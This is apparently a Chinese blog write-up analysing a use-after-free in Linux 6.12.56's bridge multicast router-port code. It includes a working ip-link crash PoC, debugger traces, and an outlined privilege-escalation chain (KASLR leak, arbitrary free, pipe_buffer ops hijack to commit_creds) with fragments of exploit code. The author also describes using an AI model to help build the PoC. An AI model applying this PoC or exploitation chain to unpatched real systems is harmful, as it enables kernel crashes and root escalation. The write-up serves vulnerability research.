

研究基于 Linux6.12.56

这个漏洞在 commit 中有给出复现流程，根据 desc 即可验证漏洞

```
commit f05a4f9e959e0fc098046044c650acf897ea52d2
Author: Ido Schimmel <idosch@nvidia.com>
Date: Thu Jun 19 21:22:28 2025 +0300

    bridge: mcast: Fix use-after-free during router port configuration

    [ Upstream commit 7544f3f5b0b58c396f374d060898b5939da31709 ]

    The bridge maintains a global list of ports behind which a multicast
    router resides. The list is consulted during forwarding to ensure
    multicast packets are forwarded to these ports even if the ports are not
    member in the matching MDB entry.

    When per-VLAN multicast snooping is enabled, the per-port multicast
    context is disabled on each port and the port is removed from the global
    router port list:

    # ip link add name br1 up type bridge vlan_filtering 1 mcast_snooping 1
    # ip link add name dummy1 up master br1 type dummy
    # ip link set dev dummy1 type bridge_slave mcast_router 2
    $ bridge -d mdb show | grep router
    router ports on br1: dummy1
    # ip link set dev br1 type bridge mcast_vlan_snooping 1
    $ bridge -d mdb show | grep router

    However, the port can be re-added to the global list even when per-VLAN
    multicast snooping is enabled:
```

笔者想拷打 ai 生成一个独立的程序，无果，但又不想像之前一样完全纯手搓，重复造轮子就有点浪费时间了。后面想到既然 ip 命令能实现，基于它的源码简单修改不就好了？但是看了源码发现还有点复杂，用到的 ip link 是类似于 ip 那边注册个 link 回调然后编译的时候才编译到一起，关键函数的调用关系套的很多，干脆投喂给 ai 让其处理，又是无果，用 understand 分析发现好像也不能实现？最后买了个强大点的 ai（Google 的 Gemini3）解决了基本交互的问题，然后调试了一些东西并投喂弄出了 poc

```
POC:
ip link add name br1 up type bridge vlan_filtering 1 mcast_snooping 1
ip link add name dummy1 up master br1 type dummy
ip link set dev dummy1 type bridge_slave mcast_router 2
ip link set dev br1 type bridge mcast_vlan_snooping 1
ip link set dev dummy1 type bridge_slave mcast_router 0
ip link set dev dummy1 type bridge_slave mcast_router 2
ip link del dev dummy1
ip link add name dummy2 up master br1 type dummy
ip link set dev dummy2 type bridge_slave mcast_router 2

解析:
在NETLINK_ROUTE协议中，当用户态传入RTM_NEWLINK时，内核态调用rtnl_newlink -> _rtnl_newlink处理，传入RTM_DELLINK时，内核态调用rtnl_dellink（最终调用br_dev_delete）处理。进行set操作时，当修改主设备（type bridge）私有属性时调用ops->changelink（br_changelink）处理，修改从设备（type bridge_slave）时调用m_ops->set_slave_changelink（br_port_slave_changelink）处理，并统一调用do_setlink

主设备主要设置了一个私有属性：mcast_vlan_snooping，kernel处理调用链：br_changelink->br_booloop_multi_toggle->br_booloop_toggle->br_multicast_toggle_vlan_snooping
从设备主要设置了一个私有属性：mcast_router，kernel处理调用链：br_port_slave_changelink->br_setport->br_multicast_set_port_router
在brmctx（struct net_bridge_mcast）中维护了一个哈希链表头mcast_router_list，pmctx（struct net_bridge_mcast_port）中维护了一个哈希链表节点list，构成一条哈希链表
pmctx（struct net_bridge_mcast_port）不单独分配内存，而是作为网桥net_bridge_port的构造成员，并且第一个成员指向net_bridge_port，同理net_bridge_mcast也是作为网桥net_bridge的成员，第一个成员指向net_bridge
```

解决完交互之后就是分析漏洞原理了，由于已弄出最终 poc 能使得 kernel panic，那就可以将触发 panic 的代码段作为切入点

```
[ 141.802443] Oops: general protection fault, probably for non-canonical address 0x66264bb079693277: 0000 [#1] PREEMPT SMP NOPTI
[ 141.806532] CPU: 0 UID: 1000 PID: 408 Comm: exp Not tainted 6.12.56 #5
[ 141.806776] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 141.807554] RIP: 0010:br_multicast_add_router.part.0+0x63/0x170
[ 141.809779] Code: ff 49 81 c1 30 01 00 00 eb 0e 48 8b 10 48 89 c7 48 85 d2 74 26 48 89 d0 48 8d b0 30 ff ff 48 8d 50 98 4c 39 c9
0 00 00 48 89 f8 48 8b 10 49 89
[ 141.810309] RSP: 0018:ffffc90000bbb808 EFLAGS: 00000246
[ 141.811219] RAX: 66264bb079693347 RBX: ffff8881015a8530 RCX: ffff88810444cd88
[ 141.811372] RDX: 66264bb079693277 RSI: 66264bb079693277 RDI: ffff888101d2c200
[ 141.811540] RBP: ffff8881015a8400 R08: ffff8881015a8400 R09: ffff88810444cd88
[ 141.811673] R10: ffff8881015a8600 R11: ffff888101d2c200 R12: ffff88810444cc50
[ 141.811818] R13: 0000000000000002 R14: 00000000ffffd93f9 R15: 00000000000048e0
[ 141.812044] FS: 0000000010020380(0000) GS:ffff8881b9c00000(0000) knlGS:0000000000000000
[ 141.812201] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 141.812296] CR2: 66264bb079693277 CR3: 0000000106232000 CR4: 00000000000006f0
[ 141.812738] Call Trace:
[ 141.813643] <TASK>
[ 141.814097] br_multicast_set_port_router+0x27c/0x300
[ 141.814319] br_setport+0x332/0x600
[ 141.814450] br_port_slave_changelink+0x50/0x80
```

RIP 是 br_multicast_add_router.part.0+0x63/0x170，看一下它的地址和对应的汇编

```
(myenv) → aa gdb ./vmlinux
pwndbg: loaded 205 pwndbg commands. Type pwndbg [filter] for a list.
pwndbg: created 13 GDB functions (can be used with print/break). Type help function to see them.
Reading symbols from ./vmlinux...
----- tip of the day (disable with set show-tips off) -----
Use the canary command to see all stack canary/cookie values on the stack (based on the *usual* stack canary value initialized by glibc)
pwndbg> x/i br_multicast_add_router+0x63
0xffffffff821e8703 <br_multicast_add_router+99>:    cmp     r8,QWORD PTR [rdx]
pwndbg>
```

对照源代码分析了一下这段汇编的逻辑

```
loc_FFFFFFFF821E86F1:
lea     rsi, [rax-0D0h]
lea     rdx, [rax-68h]
cmp     rcx, r9
cmovz   rdx, rsi
cmp     r8, [rdx]
jb      short loc_FFFFFFFF821E86E3
```

寄存器数据大致如下：

```
rcx => 当前的mc_router_list
r9  => brmctx->ip6_mc_router_list
rsi => 根据ip6这个rlist推算的net_bridge_mcast_port结构体指针
rdx => 根据ip4这个rlist推算的net_bridge_mcast_port结构体指针
```

而 rax 经过分析则是 rcx 解引用的结果，就是 pmctx 链入 brmctx（mc_router_list 哈希链表头）的 rlist。这段代码的功能大概就是 from 哈希链表中查找节点，然后计算出 pmctx 的地址最终得到 net_bridge_port 指针

使用 gdb 调试 panic 的代码段（比较快捷的办法：在执行最后一条命令之前用 pipe 插桩，下断点到 pipe，在 continue 之后再下一个断点到调试目标代码处即可）其实不难看出问题，根源就在于 rlist 的值不是一个有效的内存地址，导致后面的运算结果（rsi、rdx）都不是有效的地址，解引用时触发致命错误导致的 kernel panic

```
[ REGISTERS / show-flags off / show-compact-regs off ]
*RAX 0x66264bb079693347
*RBX 0xfffff8881015a8530 → 0xfffff8881015a8400 → 0xfffff88810444ca00 ← 1
*RCX 0xfffff88810444cd88 → 0xfffff888101d2c200 ← 0x66264bb079693347
*RDX 0x66264bb0796932df
*RDI 0xfffff888101d2c200 ← 0x66264bb079693347
*RSI 0x66264bb079693277
R8 0xfffff8881015a8400 → 0xfffff88810444ca00 ← 1
R9 0xfffff88810444cd88 → 0xfffff888101d2c200 ← 0x66264bb079693347
R10 0xfffff8881015a8600 ← 0
R11 0xfffff888101d2c200 ← 0x66264bb079693347
R12 0xfffff88810444cc58 → 0xfffff88810444ca00 ← 1
R13 2
R14 0xffffd93f9
R15 0x48e0
RBP 0xfffffc900000bb848 → 0xfffffc900000bb878 → 0xfffffc900000bb8d8 → 0xfffffc900000bb910 → 0xfffffc900000bba28 ← ...
RSP 0xfffffc900000bb808 → 0xfffff888106d21000 ← 0x1000a8a20
RIP 0xffffffff821e86fc (br_multicast_add_router.part+92) ← cmp rcx, r9
CR0 0x80050033 [ PE WP PG ]
CR3 0x106232000 [virtual: 0xfffff888106232000 ← 0x106242067]
CR4 0x6f0 [ umip fsgsbase smep smap pke cet pks ]
EFER 0xd01 [ NXE ]
GS_BASE 0xfffff8881b9c00000 ← 0
FS_BASE 0x10020380 ← 0x10020380
CS 0x10 SS 0x18 DS 0x0 ES 0x0 FS 0x0 GS 0x0
[ DISASM / x86-64 / set emulate on ]
> 0xffffffff821e86fc <br_multicast_add_router.part+92>    cmp     rcx, r9          0xfffff88810444cd88 - 0xfffff88810444cd88
0xffffffff821e86ff <br_multicast_add_router.part+95>    cmovz   rdx, rsi
0xffffffff821e8703 <br_multicast_add_router.part+99>    cmp     r8, qword ptr [rdx]
0xffffffff821e8706 <br_multicast_add_router.part+102>   jb      short 0xffffffff821e86e3 <br_multicast_add_router.part+67>
```

但为什么呢？笔者思索了一下觉得极有可能是 slab 的 cookie？（跟用户态 glibc 的 tcache 对 fd 进行 xor 差不多）

直接通过 rlist 成员的相对偏移去计算 net_bridge_port 地址，再获取其 kmem_cache 的随机数，将其与 cookie、swab64(cookie_ptr)进行 xor 运算，将会得到下一个空闲对象的地址，这里同属于一个 slab，大概率笔者的推断是正确的

```
(myenv) → aa pahole -E -C net_bridge_port ./vmlinux|grep rlist
        }ip4_rlist; /* 408 16 */
        }ip6_rlist; /* 512 16 */
(myenv) → aa cat test.c
#include <stdio.h>
#include <stdint.h>

static inline uint64_t swab64(uint64_t x)
{
    return (uint64_t)((x & (uint64_t)0x00000000000000ffULL) << 56) |
           (uint64_t)((x & (uint64_t)0x00000000000000ff00ULL) << 40) |
           (uint64_t)((x & (uint64_t)0x0000000000ff0000ULL) << 24) |
           (uint64_t)((x & (uint64_t)0x00000000ff000000ULL) << 8) |
           (uint64_t)((x & (uint64_t)0x000000ff00000000ULL) >> 8) |
           (uint64_t)((x & (uint64_t)0x0000ff0000000000ULL) >> 24) |
           (uint64_t)((x & (uint64_t)0x00ff000000000000ULL) >> 40) |
           (uint64_t)((x & (uint64_t)0xff00000000000000ULL) >> 56);
}

int main() {
    uint64_t original = 0xfffff888101d2c200ULL;
    uint64_t swapped = swab64(original);
    printf("原始值: 0x%016llx\n", original);
    printf("处理后: 0x%016llx\n", swapped);
    return 0;
}
(myenv) → aa ./test
原始值: 0xfffff888101d2c200
处理后: 0x00c2d2018188ffff
(myenv) → aa
```

```
pwndbg> slab contains 0xfffff888101d2c200-0x200
0xfffff888101d2c000 @ kmalloc-rnd-03-1k
slab: 0xfffff888101d2c000 [active, cpu 3]
status: free
pwndbg> slab info kmalloc-rnd-03-1k
Slab Cache @ 0xfffff888100044200
  Name: kmalloc-rnd-03-1k
  Flags: SLAB_PANIC
  Offset: 0x200
  Slab size: 0x4000
  Size (without metadata): 0x400
  Align: 0x400
  Object Size: 0x400
  Usercopy region offset: 0
  Usercopy region size: 1024
  kmem_cache_cpu @ 0xfffff8881b9c3c640 [CPU 0]:
    Freelist: 0xfffff888100339c00
    Active Slab:
      - Slab @ 0xfffff888100338000 [0xfffffea00040ce00]:
        In-Use: 6/16
        Frozen: 1
        Freelist: 0xfffff888100339800
    Partial Slabs: (none)
  kmem_cache_node @ 0xfffff888100040c80 [NUMA node 0, nr_partial/min_partial: 0x0/0x5]:
    Partial Slabs: (none)
pwndbg> p/x ((struct kmem_cache *)0xfffff888100044200)->random
$3 = 0x991b1130f9334b8
pwndbg> x/gx 0xfffff888101d2c200
0xfffff888101d2c200: 0x66264bb079693347
pwndbg> p/x 0x66264bb079693347*0x991b1130f9334b8*0x00c2d2018188ffff
$4 = 0xfffff888101d2f800
pwndbg> slab contains 0xfffff888101d2f800
0xfffff888101d2f800 @ kmalloc-rnd-03-1k
slab: 0xfffff888101d2c000 [active, cpu 3]
status: free
pwndbg>
```

而这个 poc 是否触发 panic 的关键其实很简单，这段代码其实就是在做排序，当新增端口地址大于等于哈希链表第一个成员就类似于头插法成为新的第一个成员，否则就进行解引用查找下一个成员进行比对。而前面提过，rlist 字段被 cookie 污染成一个非 NULL 的非法地址，所以当 port < p 时，由于解引用得到的是一个非法地址导致 panic

```

3301 static struct hlist_node *
3302 br_multicast_get_rport_slot(struct net_bridge_mcast *brmctx,
3303                             struct net_bridge_port *port,
3304                             struct hlist_head *mc_router_list)
3305 {
3306     struct hlist_node *slot = NULL;
3307     struct net_bridge_port *p;
3308     struct hlist_node *rlist;
3309
3310     hlist_for_each(rlist, mc_router_list) {
3311         p = br_multicast_rport_from_node(brmctx, mc_router_list, rlist);
3312         if ((unsigned long)port >= (unsigned long)p)
3313             break;
3314
3315         slot = rlist;
3316     }
3317 }
3318

```

```

0xfffffffff821e8703 <br_multicast_add_router.part+99>    cmp     r8, qword ptr [rdx]    0xfffff88810164f000 - 0xfffff888103d0ac00
0xfffffffff821e8706 <br_multicast_add_router.part+102>  ✓jb     0xfffffffff821e86e3    <br_multicast_add_router.part+67>
↓
0xfffffffff821e86e3 <br_multicast_add_router.part+67>    mov     rdx, qword ptr [rax]    RDX, [0xfffff888103d0ae00] => 0x7c344274c25ffc06
0xfffffffff821e86e6 <br_multicast_add_router.part+70>    mov     rdi, rax              RDI => 0xfffff888103d0ae00 ← 0x7c344274c25ffc06
0xfffffffff821e86e9 <br_multicast_add_router.part+73>    test    rdx, rdx              0x7c344274c25ffc06 & 0x7c344274c25ffc06
▶ 0xfffffffff821e86ec <br_multicast_add_router.part+76>  ✗je     0xfffffffff821e8714    <br_multicast_add_router.part+116>

0xfffffffff821e86ee <br_multicast_add_router.part+78>    mov     rax, rdx
0xfffffffff821e86f1 <br_multicast_add_router.part+81>    lea     rsi, [rax - 0xd0]
0xfffffffff821e86f8 <br_multicast_add_router.part+88>    lea     rdx, [rax - 0x68]
b+ 0xfffffffff821e86fc <br_multicast_add_router.part+92>    cmp     rcx, r9
0xfffffffff821e86ff <br_multicast_add_router.part+95>    cmovbe  rdx, rsi

```

但到了这里笔者还有一个疑问，就是第四条命令，启用 vlan 侦听的必要性是什么？前面笔者也提到过 Gemini3 一开始并没有弄出完整的路，调试投喂之后才弄出来，就是因为第四条命令的 netlink 报文没有正确构造，说明想要触发漏洞第四步也是必须要完成的

经过一些拷打和思索，笔者想到了一种可能，那就是类似于，一条指针同时出现在 vlan 链表和全局链表中，删除时忽略了全局链表，那么在删除时得有两种不同的逻辑，最终经过分析，笔者发现了如下调用链：

br_dev_delete -> del_nbp -> br_stp_disable_port -> br_multicast_disable_port

```
← https://elixir.bootlin.com/linux/v6.12.56/source/net/bridge/br_multicast.c#l2160
net / bridge / br_multicast.c All symbols
2160 static void br_multicast_toggle_port(struct net_bridge_port *port, bool on)
2161 {
2162     #if IS_ENABLED(CONFIG_BRIDGE_VLAN_FILTERING)
2163         if (br_opt_get(port->br, BROPT_MCAST_VLAN_SNOOPING_ENABLED)) {
2164             struct net_bridge_vlan_group *vg;
2165             struct net_bridge_vlan *vlan;
2166
2167             rcu_read_lock();
2168             vg = nbp_vlan_group_rcu(port);
2169             if (!vg) {
2170                 rcu_read_unlock();
2171                 return;
2172             }
2173
2174             /* iterate each vlan, toggle vlan multicast context */
2175             list_for_each_entry_rcu(vlan, &vg->vlan_list, vlist) {
2176                 struct net_bridge_mcast_port *pmctx =
2177                     &vlan->port_mcast_ctx;
2178                 u8 state = br_vlan_get_state(vlan);
2179                 /* enable vlan multicast context when state is
2180                  * LEARNING or FORWARDING
2181                  */
2182                 if (on && br_vlan_state_allowed(state, true))
2183                     br_multicast_enable_port_ctx(pmctx);
2184                 else
2185                     br_multicast_disable_port_ctx(pmctx);
2186             }
2187             rcu_read_unlock();
2188             return;
2189         }
2190     #endif
2191     /* toggle port multicast context when vlan snooping is disabled */
2192     if (on)
2193         br_multicast_enable_port_ctx(&port->mcast_ctx);
2194     else
2195         br_multicast_disable_port_ctx(&port->mcast_ctx);
2196 }
```

可见当 vlan 侦听启用时，只会从 vlan 链表解链，也就出现了可乘之机

复盘一下 poc 触发 panic 的完整逻辑，首先启用多播路由，将 pmctx 链入 brmctx 中（最终用于寻址 net_bridge_port？也就是附加一条 net_bridge_port 的引用），而由于启用了 vlan 侦听，在删除时只考虑 vlan 链表忽略了前面附加的引用，最终结构体 net_bridge_port 已被释放却仍有引用能访问到它导致 uaf，又由于用于寻址的 rlist 成员被 slab 的 cookie 占位成为非法地址，当触发解引用时导致 kernel panic

简单来说我们目前拿到的是 net_bridge_port 这个结构体的 uaf，从属于 kmalloc-1k 这个缓存池，而漏洞利用的原语则是 uaf 偏移写指针

首先考虑如何进行 leak，笔者一开始想选用 sk_buff 的数据包，结果发现其从 kmalloc-cg 中分配，有内存隔离不方便；后又想走 sendmsg 发送控制消息，但发现其分配之后直接释放了，不能完成读取；后发现 add_key，一开始利用 desc，但是其存在 null byte 截断不是特别稳定，最后发现其实 user_key_payload 也是走 kmalloc

```
https://elixir.bootlin.com/linux/v6.12.56/source/security/keys/user_defined.c#L59
/ security / keys / user_defined.c All symbol Search Idei
59 int user_preparse(struct key_prepared_payload *prep)
60 {
61     struct user_key_payload *upayload;
62     size_t datalen = prep->datalen;
63
64     if (datalen <= 0 || datalen > 32767 || !prep->data)
65         return -EINVAL;
66
67     upayload = kmalloc(sizeof(*upayload) + datalen, GFP_KERNEL);
68     if (!upayload)
69         return -ENOMEM;
70
71     /* attach the data */
72     prep->quotalen = datalen;
73     prep->payload.data[0] = upayload;
74     upayload->datalen = datalen;
75     memcpy(upayload->data, prep->data, datalen);
76     return 0;
```

而后发现其实该漏洞原语可以转化，能够向任意堆地址写入指针（有一定概率，其实仔细理解前面得出的结论就猜到是什么了，当分配的地址小于哈希链表上的地址时会有解引用）

拿到该原语笔者最先想到的是 msg_msg，虽然现在 msg_msg 分配的内存是从单独的 bucket 取出，但本质上还是 slab 的隔离，通过大量的分配释放使得内存回归 buddy system 再大量分配 msg_msg，还是能实现 uaf（当然了该防护阻止越界应该是稳稳的，笔者没有实验过但按照它的实现原理应该是能防止越界的 cross_cache 的）

这里由于笔者最近都在做漏洞分析以及折腾其它事，利用玩的比较少加之对 msg_msg 用的不多产生了幻觉（笔者一开始以为劫持 msg_msg 的 next 指针以及 m_ts 成员，能直接实现任意内存读写），就觉得直接堆喷 pipe_buffer，劫持其 flags 都能直接走 dirtypipe 或者劫持 page 指针弄出页级 uaf，惯用伎俩大量堆喷只读的/etc/passwd file struct 篡改权限位新增一个 root 用户不就好了？最终才想起 msg_msg 任意内存写是需要条件竞争的，而经过实验又发现我连内存读都做不到，因为 kernel 对 m_ts 是有 check 的，漏洞原语只能写入一个指针，不能完全控制；但比较值得高兴的是任意释放是可以利用的，但已知漏洞原语写入的指针并不是内存的头部而是位于中间，巧合的是写入的两条指针有一条是刚好指向中间的，并且是一个 1024 内存，不难想到我们将这 1024 释放之后再堆喷 512 的内存（依旧使用 cross_cache 来实现），原本指向内存中间的指针不就指向内存头部了吗？

笔者最先想到的就是 pipe_buffer，其虽然默认分配 1024，但可以 resize 成 512，并且存在 ops，劫持之后可以走 ROP 提权，但是有一个问题：目前并没有 leak 出 kernel 代码段基址，走 ROP 需要绕 kaslir，但是 msg_msg 目前能实现的只有任意释放，咋整？

事实上 user_key_payload 作为一个常用利用结构体不是没有道理的，我们只需要使用

任意写指针往该结构体的 datalen 成员写入一个指针即可（当然了这里是否足以越界读，能越界多少同样是需要一点运气，主要看写入的指针末尾大不大），能够越界读了但是该堆喷什么进行 leak 呢？最理想最稳定的其实是同为 kmalloc-1k 分配的内存，但笔者找了一下并没有找到，最终想到在 exploit 运行初期大量分配 filp 然后释放清洗内存，让内存空间残留大量的 filp 的 ops 指针不就好了？一开始是这么干的，也发现调整堆喷数量整个内存布局还是偏于稳定的，但是后面每加多几条利用代码，整个内存布局就呈现出灰电平衡的状况（也就是后面分配内存前面堆喷 filp 数量就得调整来维持稳定），几经波折笔者决定不能再维持现状了（到此时一次成功的实验需要尝试半个钟，时间都耗在撞运气上面了），于是开始寻找 kmalloc-1k 分配的结构体，依旧无果；但偶然灵感突现，众里寻他千百度，蓦然回首，那人却在灯火阑珊处。直接用最初产生 uaf 的 net_bridge_port 不就好了？该结构体有大量成员能实现 leak

由于该文档漏洞利用部分是笔者弄完整个 exploit 才写的，此时 leak 和 hajack 部分已经写完了，而由于该漏洞利用需要撞运气（任意内存写指针原语的后遗症），而 kernel 的随机化是开机的时候完成的，leak 只需要完成一次就好了，所以为了提高实验的成功率将 leak 和 hijack 进行拆分

```
void exploit(){
    //struct msg_buf msg;
    //int sock_fd[2];
    //size_t data[20];
    //prepare();
    int argc;
    char buffer[512];
    char *argv[16];
    trig_uaf(0);
    if(leak_ptr()){
        printf("[-]leak_ptr failed!\n");
        exit(-1);
    };
    trig_uaf(uaf_ptr);

    for (int i = 0; i < 16; i++) delete_dummy_device(i);
    char *cmd11[] = {"dev", "br1", NULL};
    argc = build_stack_argv(cmd11, buffer, sizeof(buffer), argv);
    iplink_modify(RTM_DELLINK, 0, argc, argv);
    if(!kernel_base){
        printf("[-]kernel_base not found!\n");
        exit(-1);
    }
    /*
    trig_uaf_spray(0);
    spray_msg_msg();
    if(leak_ptr()){
        printf("[-]leak_ptr failed!\n");
        exit(-1);
    }
    */
}
```

可以看到成功 leak 出 kernel 代码段基址了，而且成功率挺高的

```

root@syzkaller:~# dmesg -n 1
root@syzkaller:~# su test
test@syzkaller:/root$ /exp
idx 15: uaf_ptr = 0xffff8a8b00f23c00
[-]kernel_base not found!
test@syzkaller:/root$ /exp
idx 14: uaf_ptr = 0xffff8a8b03d35400
[+]Found kernel_base: 0xfffffffffa4200000
test@syzkaller:/root$
exit
root@syzkaller:~# cat /proc/kallsyms |grep ffffffff8a4200000
ffffffffff8a4200000 T _stext
ffffffffff8a4200000 T _text
ffffffffff8a4200000 t __pfx_sev_es_terminate
root@syzkaller:~#

```

这里感兴趣的师傅可以把 leak 部分封装成一个函数，调用一次就行了，这活没什么难度笔者也懒得自己动手了

至此其实整个利用流程其实很清晰了，大概用到几种原语：

1. 利用 uaf 写指针原语 leak 出 object 的地址
2. 将 uaf 写指针原语转为任意写指针原语
3. 利用任意写指针原语结合 user_key_payload 构造出越界读原语泄露 kernel_base
4. 利用任意写指针原语结合 msg_msg 构造出任意内存释放原语，控制 pipe_buffer

最终我们能拿到对一个 pipe_buffer 的任意内存写，劫持其 ops 指向可控内存即可控制 kernel 程序流

这里我们在实验的时候下断点是在 single_open，但是偶尔 kernel 也会自己调用，所以为了防止混淆我加了输出，当 done 已经成功被输出说明此时的内存环境是对的

```

test@syzkaller:/root$ /exp
idx 18: uaf_ptr = 0xffff888103ac7400
done
done
test@syzkaller:/root$ /exp
idx 5: uaf_ptr = 0xffff888100f76800
done
done
test@syzkaller:/root$ /exp
idx 5: uaf_ptr = 0xffff88810964f800
done

```

这里需要查看 msg_msg 的 next 指针，是否从属于 kmalloc-cg-512，如果不是说明 pipe_buffer 没有占位释放的内存，需要将 next 指针设置为 0 再重新测试

```

pwndbg> x/10gx 0xffff88810964f800
0xffff88810964f800: 0xffff88810659aec0 0xffff88810659aec0
0xffff88810964f810: 0x0000000000000376 0x00000000000003d0
0xffff88810964f820: 0xffff8881065dfa00 0x0000000000000000
0xffff88810964f830: 0xffff8881065df998 0xffffffff81147480
0xffff88810964f840: 0x0000000000000000 0x0000000000000000
pwndbg> slab contains 0xffff8881065dfa00
0xffff8881065dfa00 @ kmalloc-cg-512
Did not finding containing slab.
pwndbg>

```

当确实是 kmalloc-cg-512 时直接下断点到执行 ops->release 的地方就行了


```
←  https://elixir.bootlin.com/linux/v6.12.56/source/include/linux/pipe_fs_i.h#L213

/ include / linux / pipe_fs_i.h All symbol

213 static inline void pipe_buf_release(struct pipe_inode_info *pipe,
214                                     struct pipe_buffer *buf)
215 {
216     const struct pipe_buf_operations *ops = buf->ops;
217
218     buf->ops = NULL;
219     ops->release(pipe, buf);
220 }
```

```
R8 0
R9 0
R10 0
R11 0
R12 0xffff800100041100 ← 0
R13 0xffff80010014a9f8 ← 0x3e000041180
R14 0xffff80010027b270 → 0xffff800100407300 ← 0x700300000
R15 0xffff800100cbe000 ← 0x240500000
RBP 0xffffc900000b8fb20 → 0xffffc900000b8fb00 → 0xffffc900000b8fb90 → 0xffffc900000b8fbc0 ← ...
RSP 0xffffc900000b8fb10 → 0xffff800100041100 ← 0
RIP 0xffff80010152fbc2 (free_pipe_info+114) ← mov rax, qword ptr [rax + 0]
CR0 0x80050033 [ PE WP PG ]
CR3 0x363e000 [virtual: 0xffff8000363e000 ← 0]
CR4 0x6f0 [ umip fsgsbase smep snap pke cet pks ]
EFER 0xd01 [ NXE ]
GS_BASE 0xffff800100c00000 ← 0
FS_BASE 0x791f300
CS 0x10 SS 0x18 DS 0x0 ES 0x0 FS 0x0 GS 0x0

0xffff80010152fbc2 <free_pipe_info+114> mov rax, qword ptr [rax + 0] RAX, [0xffff800100c4f830] => 0xffff80010147400 (commit_creds) ← nop dword ptr [rax + rax]
0xffff80010152fbc6 <free_pipe_info+118> call 0xffff8001023400e0 <__x86_indirect_thunk_array>
0xffff80010152fbc8 <free_pipe_info+120> add rbx, 1
```

执行 si 步入可以看到最终成功调用 fake 的 ops

```
CR0 0x80050033 [ PE WP PG ]
CR3 0x363e000 [virtual: 0xffff8000363e000 ← 0]
CR4 0x6f0 [ umip fsgsbase smep snap pke cet pks ]
EFER 0xd01 [ NXE ]
GS_BASE 0xffff800100c00000 ← 0
FS_BASE 0x791f300
CS 0x10 SS 0x18 DS 0x0 ES 0x0 FS 0x0 GS 0x0

0xffff8001023400e0 <__x86_indirect_thunk_array> call 0xffff8001023400e6 <__x86_indirect_thunk_array+6>
0xffff8001023400e5 <__x86_indirect_thunk_array+5> int3
0xffff8001023400e6 <__x86_indirect_thunk_array+6> mov qword ptr [rsp], rax [0xffffc900000b8fb00] <= 0xffff80010147400 (commit_creds) ← nop dword ptr [rax + rax]
0xffff8001023400e8 <__x86_indirect_thunk_array+10> ret <commit_creds>
0xffff80010147480 <commit_creds> nop dword ptr [rax + rax]
0xffff80010147485 <commit_creds+5> push rbp
0xffff80010147486 <commit_creds+6> mov rbp, rsp
0xffff80010147489 <commit_creds+9> push r13
0xffff8001014748b <commit_creds+11> mov r13, qword ptr gs:[r1p + 0x7e0002d] R13, [0xffff800100c362c0]
0xffff80010147493 <commit_creds+19> push r12
0xffff80010147495 <commit_creds+21> push rbx

in file: /root/Desktop/fuzz/linux/arch/x86/include/asm/GEN-for-each-reg.h:6
1 /* SPDX-License-Identifier: GPL-2.0 */
2 /*
3  * These are in machine order; things rely on that.
4  */
5 #ifndef CONFIG_64BIT
6 #define GEN(rax)
7 #define GEN(rcx)
8 #define GEN(rdx)
9 #define GEN(rbx)
10 #define GEN(rsp)
11 #define GEN(rbp)

00:0000 rsp 0xffffc900000b8fb00 → 0xffff80010147480 (commit_creds) ← nop dword ptr [rax + rax]
01:0000 -018 0xffffc900000b8fb10 → 0xffff80010152fbc8 (free_pipe_info+123) ← add rbx, 1
```

由于笔者喜欢折腾 dataonly 这种通用提权方式，后续 ROP 链的构造感兴趣的师傅可以自行研究，这种基操就不操作了

后续笔者也在尝试能不能走 dataonly 的路子弄出通用 exploit